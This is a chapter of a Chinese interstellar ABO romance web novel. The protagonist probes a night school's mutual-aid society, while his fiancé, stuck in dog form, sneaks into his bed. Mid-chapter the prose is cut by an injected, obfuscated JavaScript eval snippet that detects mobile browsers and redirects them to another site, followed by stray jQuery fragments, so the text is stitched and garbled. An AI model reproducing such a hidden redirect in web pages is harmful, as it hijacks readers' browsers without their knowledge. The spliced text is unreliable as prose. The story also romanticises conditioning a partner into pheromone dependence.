73.不会爬床的Alpha算什么好汉!

作品:《结婚不如捡条狗[星际]

    下课后,大部分学生都准备离开,只有小部分人,零零散散地往楼后走。


    离开教室,刚才的同学们鲜活不少,几乎是每个人,在跟裴清初对上视线时,都会露出亲切礼貌的微笑,然后错身,请他先通过。


    和杰司如出一辙的温和客套。


    迪鹭特堵住路,眼巴巴地看着他:“能不能加个好友?我还是第一次拿到互动积分!”


    她比自己先来夜校,或许会是个突破口。裴清初点头,同意了申请。


    他看向往楼后走的人:“他们是去做什么?”


    “谁?你是说那些人?”


    迪鹭特挠了挠头,粉色头发重新散下,“是互助会的成员,他们在课后有免费餐会。”


    “我本来也要加入的,但他们要我写三千字申请……”她有点不好意思,“我写了好几个月,还没写完。”


    [互助会]。


    杰司刚才介绍时,并没有提这个组织机构,讲解得事无巨细,却偏偏漏了这点……


    是不小心,还是因为,这组织另有门槛?


    “裴——”


    远远地,兰昭蘅冲过来,看见迪鹭特,beta面露警惕:“你是谁?”


    裴清初熟背社交礼仪,解释道:“我刚认识的同学。”


    “哦……”兰昭蘅看看他,又看看迪鹭特,忽然警惕,“等等!”


    他满脸纠结,凑近裴清初耳边悄悄道:“你喜欢alpha女性?!”


    “别瞎说!我已经有伴侣了!”


    他的声音没逃过迪鹭特耳朵。Alpha连忙后退:“我对天发誓,我对这位同志,绝没有一丝一毫不当感情!”


    裴清初很认可地点头,兰昭蘅这才松了一口气,开始夸张地鼓励初次上学就交到朋友的裴清初。


    “那个互助会,具体是做什么的?”气氛融洽,裴清初却没忘记自己的使命,边走边问。


    “什么互助会?”兰昭蘅一头雾水,并没听说过。


    一旁的迪鹭特谨慎地保持距离,热心解释道:“有点像夜校做慈善啦,入会的话,学费减免,他们会帮忙低息贷款,还有免费的小灶可以吃!”


    她还有点可惜:“要求很严格的!无收入、无保险、无工作至少要满足一条,或者像我这样,有永久残疾的人才能申请。”


    申请只是第一步,后续还要参加各种公益活动、赚取课堂积分、背诵各种行为规范条例,最后通过层层考核。


    迪鹭特想到考试就头痛。


    裴清初若有所思:“……刚才那位讲师,也是互助会的人吗?”


    “当然!”


    迪鹭特点头:“他可是D星军校的老师,来这里兼职又赚不到钱,还要教我们这种笨蛋——他们都是奕孔博士介绍来的互助会成员。”


    奕孔博士。


    再次从他人口中听到这个名字,裴清初毫不意外。


    “怪不得,”兰昭蘅插嘴,“我们那个烹饪课的老师也很厉害,她那样的水平,在外面怎么也要几千联邦币一节课了,在这里,价格只有世面价格的零头……”


    “我老婆来接我了!回见!”


    快到大门,迪鹭特看见了人影,高兴地拎着包,三步并作两步往门外跑。


    裴清初望着她的背影,有一瞬间放空。


    好像有什么情绪泛上来,温暖又酸涩,触碰又冰凉,但他不知道那是什么。


    刚走出门口,一团漆黑从不远处的台阶下窜出来:“汪!”


    “大黑?!”


    兰昭蘅揉了揉眼睛,“我靠,这里离家好几个街区呢,上近地岛还要坐通行车……你怎么过来的?”


    知道偏远还带着omega乱跑!


    阎越砾怒目而视,爪子扒拉他一下,随即贴在裴清初裤腿上蹭脑袋。


    “冷不冷?”


    心中的情绪忽然被搅散,又或者落地,回到了身体里。裴清初微微弯腰,摸了摸狗头,碰到潮湿的寒意。


    不知究竟在外面等了多久。


    他摘下自己的围巾,披在大黑狗身上,一层又一层地认真裹紧。


    阎越砾的内心开始冒粉红泡泡,尾巴狂甩。


    为了抄近路,他穿过了几个高级社区——不允许外来物体入内,被无人机追得上蹿下跳——幸好赶上了。


    此刻,裴清初还主动给他系自己的围巾,关心他,怕他冷……


    阎越砾尾巴一停,忽然意识到这是给大黑的待遇,顿时有些蔫。


    等两人带着狗回到家,裴清初先去看了看睡相歪七扭八的裴小小,自己洗漱完毕,又来到了工作室。


    ——结合迪鹭特提到的“三无一缺”条件、D星平民区附近IP、“茧房”内的求助信息,他筛选出了一批人。


    这些人中,有三分之二已经许久没在平台上发过信息。


    裴清初眸光沉沉地看着光屏,一条又一条信息被比对、变灰。


    剩下的人……裴清初核对照片,发现几张夜校见过的面孔,赫然在列。


    他关闭光屏,在脑海中飞速运转着。


    那个[互助会]里,必然藏着夜校最核心的秘密。


    ——


    在裴清初重新捡起工作的几天里,阎越砾也并没闲着。


    他每天坚持不懈地发送申请,终于成功加上了omega的通讯,早中晚嘘寒问暖——


    主要是因为打完字就过去了半天。


    [孤傲的砂]:在吗?早上好。


    [孤傲的砂]:在吗?中午好。


    [孤傲的砂]:在吗?晚上好。


    他其实没报什么希望,但裴清初居然每条都回了,虽然也只是简简单单地问好。


    这样下去毫无进展,阎越砾摇人,逮住了男色鉴赏专家沉海,发送聊天记录。


    [孤傲的砂]:有没有魅力?能打多少分?


    [鱼进化上岸想跳是正常的]:……


    [鱼进化上岸想跳是正常的]:少将,不行你赔我点绩效吧。


    [孤傲的砂]:转账-金额60000元


    沉海迅速收款,爆发了非人的手速,在十五分钟内手搓了图文并茂的PPT,绘声绘色地讲解“如何泡到美男”。


    阎越砾瞪着狗眼学了半天,若有所得,遂更改策略。


    次日,裴清初刚睁开眼,就看到备用机上数条消息。


    他点开,第一条,是那个“孤傲的砂”。


    [在吗?早上好。你看这朵云,像不像我想送给你的别墅?]


    [方便的话,可以让资产管理处的人下午去找你签字吗?]


    “……”


    裴清初看到对方发来、空着一栏,但显然有法律效力的赠与申请,鬼使神差地点开对方的资料。


    不知为什么,他总觉得对面是阎越砾。


    阎越砾还不知道自己出身未捷已掉马。


    一方面,他想展开热烈追求,另一方面,他又怕自己变不回人,会让裴清初失望。


    ……他总不能用狗身一直瞒下去。


    时隔多年,阎越砾终于又想长长久久活下去,开始盯着自己的狗爪子,试图靠意念恢复人型。


    没有丝毫反应。


    不过裴清初最近对他(大黑)特别好,前几天还凶巴巴不许他舔,最近已经任他往怀里扑。


    阎越砾甚至悄悄用鼻尖去蹭他颈后,Omega也只是抬手,推拒到一半又僵住,摸了摸他的毛毛。


    简直就是放纵。


    又一天,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990327|190819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    洗完澡,阎越砾抖着顺滑蓬松的毛发,蹑手蹑脚地溜到裴清初的房间前,“啪嗒”一声打开了门。


    墙角的感应灯亮起昏黄光线,映着床上人因陷入沉眠,显得格外安宁的侧脸。


    阎越砾呼吸一窒。


    现在的裴清初,仿佛对他做什么都不会醒来,温和,又包容。


    大狗上前,没忍住,舔了舔他的脸。在Omega转醒前,阎越砾已经敏捷地跳上床,钻进被窝,严严实实地只露一个狗头在外。


    被子里的温度对自带皮毛的狗来说,实在有些太热。


    阎越砾却一动不敢动,心跳砰砰如同军团交响乐。


    半天,他才试探着、小心翼翼地伸出一只汗津津的狗爪,在裴清初背上印下朵小梅花。


    冰冰凉凉的,怎么在被窝里还这么冷……阎越砾被狗毛捂得浑身冒汗,当仁不让地用整个狗背贴上了对方。


    他也很想搭腰贴贴什么的,但狗的身体实在有些难度。而且,他们还、还没正式、正式结婚……


    阎越砾胡思乱想地睡着了。


    裴清初半夜摸到一团毛,睡意全无,他开灯,坐起身,看见黑金色的大狗在自己床上,呼吸间胸膛规律起伏。


    “……”想打狗,但忍住了。


    裴清初想起自己总结的“近距离接触或许能促进阎越砾恢复人型”,默默关了灯,重新躺下,把大狗搂进了怀里。


    灯光熄灭,黑暗中,阎越砾睁开狗眼,淡金色眸光中没有丝毫困倦,拼尽全力才忍住了摇尾巴的冲动。


    一想到自己现在躺在裴清初的床上、在Omega的被窝里、身后是这个人,他恨不得起来绕街区跑三十圈。


    感受着对方如此之近的心跳,阎越砾前所未有地安心,晕晕乎乎,仿佛摔进了云里。


    他也就没注意,自己的狗身体在悄无声息中变幻、拉长,变成浑浊的黑色虚影,撑开Omega的怀抱。


    高大身影的眼睛并未睁开,反将一军,轻松环住对方的身体,不知是手还是爪子的部分,稳稳当当地把人圈进怀里,牢牢禁锢。


    第二天,裴清初醒来时,大黑已经消失不见。


    他收拾好下楼,见大黑在院子里懒洋洋地陪小小玩,身体正常,没有任何变化的迹象。


    但昨晚,他明明感觉到……裴清初揉了揉眉心,也许是梦?


    颈后被反复摩挲,也许是被子材料粗糙,他下意识拱起腰想躲,被褥却沉甸甸压着,让他动弹不得。


    院子里,裴小小正往阎越砾鼻尖放树叶,一本正经道:“大黑,现在是需要你的时候!小小骑士接到了重要求助!”


    阎越砾舔爪子,不太想理她。


    他昨晚梦见自己恢复了人形,跟裴清初同床共枕,半梦半醒。又舍不得人离开,又忍不住想看那张脸为自己动容,压着他,恨不得用信息素把对方裹起来。


    AO关系的建立往往很原始,是基于最普通的反射,他们这种世家的Alpha,在青春期信息素发育时,就会学习特殊的“技巧”。


    比如频繁给予Omega正向刺激和愉悦体验,并缓缓用自己的信息素接触、注入甚至标记。


    久而久之,Omega就会将Alpha的信息素和愉悦感联系在一起,产生依赖。即使是匹配度极低的信息素,也能用极少的量,就让Omega上瘾。


    昨晚,在梦里,阎越砾几乎是本能地就做了这种事,早晨发现自己还是狗型,才松了一口气,灰溜溜地跑下楼,主动陪裴小小大魔王,以减轻自己的负罪感。


    如果他无法恢复人形,或者很快死亡……他不希望裴清初对他的信息素产生依赖。


    不过,裴清初腺体发育不良,应该也不容易对信息素上瘾才对。